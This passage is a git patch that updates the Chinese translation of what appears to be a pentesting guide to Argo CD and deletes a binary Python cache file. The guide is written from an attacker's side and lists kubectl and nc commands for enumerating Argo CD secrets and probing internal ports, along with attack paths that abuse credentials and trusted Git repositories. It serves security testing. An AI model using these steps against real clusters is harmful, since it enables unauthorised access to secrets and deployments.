From 43fe176b8c539eed2bcd440532a3dfda5ff76925 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 19 Jul 2026 09:26:03 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/RE --- .../__pycache__/translator.cpython-312.pyc | Bin 27040 -> 0 bytes src/pentesting-ci-cd/argocd-security.md | 147 +++++++++--------- .../az-post-exploitation/README.md | 4 + ...az-container-registry-post-exploitation.md | 87 +++++++++++ .../az-services/az-container-registry.md | 64 ++++---- 5 files changed, 199 insertions(+), 103 deletions(-) delete mode 100644 scripts/__pycache__/translator.cpython-312.pyc create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index 88b2cd2a721c1762cf197b344c469ed6859b7d27..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 27040 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 diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index 272dfefa3..1c2935ea8 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -4,33 +4,33 @@ ## Basic Information -[Argo CD](https://argo-cd.readthedocs.io/) 是一个面向 Kubernetes 的 GitOps continuous delivery platform。它会监视 Git repositories,使用 Helm、Kustomize、Jsonnet 或 config management plugins 等工具渲染 Kubernetes manifests,并将 live cluster state 与存储在 Git 中的 desired state 进行 reconcile。 +[Argo CD](https://argo-cd.readthedocs.io/) 是一个用于 Kubernetes 的 GitOps continuous delivery platform。它监视 Git repositories,使用 Helm、Kustomize、Jsonnet 或 config management plugins 等工具渲染 Kubernetes manifests,并将 live cluster state 与 Git 中存储的 desired state 进行协调。 -从攻击者视角来看,应将 Argo CD 视为一个带有 Kubernetes credentials 的 **deployment engine**。一次有效的 Argo CD compromise 可能导致: +从攻击者的角度来看,应将 Argo CD 视为一个**拥有 Kubernetes credentials 的 deployment engine**。一次有效的 Argo CD compromise 可能导致: - 访问 private Git repositories 和 repository credentials。 - 访问 Argo CD 使用的 Kubernetes cluster secrets。 - 在 `argocd-repo-server` 中执行 manifest generation code。 -- 通过 trusted Git repositories、Argo CD applications 或 cache manipulation 非授权部署 Kubernetes objects。 +- 通过受信任的 Git repositories、Argo CD applications 或 cache manipulation,未经授权地部署 Kubernetes objects。 ## Architecture & Interesting Components -Common Kubernetes objects and services: +常见的 Kubernetes objects 和 services: ```bash kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd' kubectl get applications,appprojects,applicationsets -A 2>/dev/null kubectl get secrets,configmaps -n argocd 2>/dev/null kubectl get networkpolicy -n argocd 2>/dev/null ``` -有趣的服务: +值得关注的服务: -- **`argocd-server`**: public API、web UI、CLI API、authentication 和 authorization。 -- **`argocd-application-controller`**: 比较 desired 和 live state,然后将 resources 应用到 Kubernetes。 -- **`argocd-repo-server`**: clones repositories,缓存 Git data,并运行 Helm/Kustomize/Jsonnet/plugins 以生成 manifests。默认 gRPC 端口是 **8081**。 -- **`argocd-redis`**: application、manifest 和 Git reference data 的 cache。默认 Redis 端口是 **6379**。 -- **`argocd-applicationset-controller`**: 从 Git、SCM、clusters 和 pull requests 等 generators 生成 Argo CD `Application` objects。 +- **`argocd-server`**:公共 API、web UI、CLI API、身份验证和授权。 +- **`argocd-application-controller`**:比较期望状态和实际状态,然后将资源应用到 Kubernetes。 +- **`argocd-repo-server`**:克隆仓库、缓存 Git 数据,并运行 Helm/Kustomize/Jsonnet/plugins 以生成 manifests。默认 gRPC 端口为 **8081**。 +- **`argocd-redis`**:用于缓存 application、manifest 和 Git reference 数据。默认 Redis 端口为 **6379**。 +- **`argocd-applicationset-controller`**:根据 Git、SCM、clusters 和 pull requests 等 generators 生成 Argo CD `Application` 对象。 -从被 compromise 的 pod 或 internal network segment 中,检查 internal reachability: +从已被攻陷的 pod 或内部网络 segment 中,检查内部可达性: ```bash nc -vz 443 nc -vz 8081 @@ -38,7 +38,7 @@ nc -vz 6379 ``` ## Public API / UI 攻击 -如果你有 Argo CD credentials 或一个暴露的 instance,先从 normal API surface 开始: +如果你拥有 Argo CD credentials 或发现了暴露的实例,请从常规 API surface 开始: ```bash argocd login argocd account get-user-info @@ -49,15 +49,15 @@ argocd repo list argocd cluster list argocd admin settings rbac can ``` -有用的 attack paths: +有用的攻击路径: -- **Application write access**: 修改 `source.repoURL`、`source.path`、Helm values、Kustomize 选项、plugin settings 或 sync options,让 Argo CD 部署 attacker-controlled manifests。 -- **Project misconfiguration**: `AppProject` objects 可能允许过宽的 `sourceRepos`、过宽的 `destinations`、不安全的 `clusterResourceWhitelist`,或薄弱的 namespace restrictions。 -- **Repository credential abuse**: repository secrets、GitHub App credentials、SSH keys 和 tokens 可能允许向受信任的 repos 推送,或添加 malicious dependencies。 -- **Cluster credential abuse**: cluster secrets 可能包含 bearer tokens 或 exec-provider configuration,供 Argo CD 用于部署到 target clusters。 -- **Local admin / project tokens**: 长期有效的 Argo CD tokens 除非被 revoke 或 expired,否则可以通过 API 重用。 +- **Application 写入权限**:修改 `source.repoURL`、`source.path`、Helm values、Kustomize options、plugin settings 或 sync options,使 Argo CD 部署攻击者控制的 manifests。 +- **Project 配置错误**:`AppProject` objects 可能允许宽泛的 `sourceRepos`、宽泛的 `destinations`、不安全的 `clusterResourceWhitelist` 或薄弱的 namespace restrictions。 +- **Repository credential abuse**:repository secrets、GitHub App credentials、SSH keys 和 tokens 可能允许向受信任的 repos 推送内容或添加恶意 dependencies。 +- **Cluster credential abuse**:cluster secrets 可能包含 bearer tokens 或 exec-provider configuration,供 Argo CD 部署到目标 clusters。 +- **Local admin / project tokens**:长期有效的 Argo CD tokens 可通过 API 重用,除非已被 revoke 或过期。 -当你拥有 cluster read access 时,枚举 Kubernetes 中的配置: +当你拥有 cluster read access 时,从 Kubernetes 枚举 configuration: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -67,102 +67,102 @@ kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` ## Trusted Git Repository Abuse -如果你可以 push 到一个被 Argo CD trusted 的 repository,你通常可以影响部署内容。影响取决于 `AppProject` 边界以及 application controller 使用的 service account 权限。 +如果你可以向 Argo CD 信任的 repository push,通常就能影响部署的内容。影响取决于 `AppProject` 的边界,以及 application controller 使用的 service account 权限。 -常见 payload 位置: +常见的 payload 位置: - application path 下的原始 Kubernetes YAML。 - Helm chart templates 和 `values.yaml`。 - Kustomize overlays、remote bases 和 generators。 -- Jsonnet 或 config management plugin 输入。 -- 创建或更新 `Application` objects 的 ApplicationSet generator files。 +- Jsonnet 或 config management plugin 的输入。 +- 用于创建或更新 `Application` 对象的 ApplicationSet generator 文件。 -检查 app 是否使用 automated sync、pruning、self-heal、sync windows 或 manual approvals: +检查应用是否使用 automated sync、pruning、self-heal、sync windows 或 manual approvals: ```bash kubectl get applications.argoproj.io -A \ -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` ## 直接滥用 `argocd-repo-server` -不要假设公开的 Argo CD API 是唯一的攻击面。内部 Argo CD 组件通过 gRPC 与 `argocd-repo-server` 通信。若任意 pods 能够访问 repo-server,攻击者控制的内部请求可能绕过通常由 `argocd-server` 强制执行的检查。 +不要假设 public Argo CD API 是唯一的攻击面。Argo CD 内部组件通过 gRPC 与 `argocd-repo-server` 通信。如果任意 pod 都能访问 repo-server,攻击者控制的内部请求可能绕过通常由 `argocd-server` 强制执行的检查。 -实际检查: +实用检查: ```bash kubectl get svc -n argocd argocd-repo-server -o yaml kubectl get endpoints -n argocd argocd-repo-server -o wide nc -vz 8081 ``` -Interesting signs: +值得关注的迹象: - repo-server gRPC endpoint 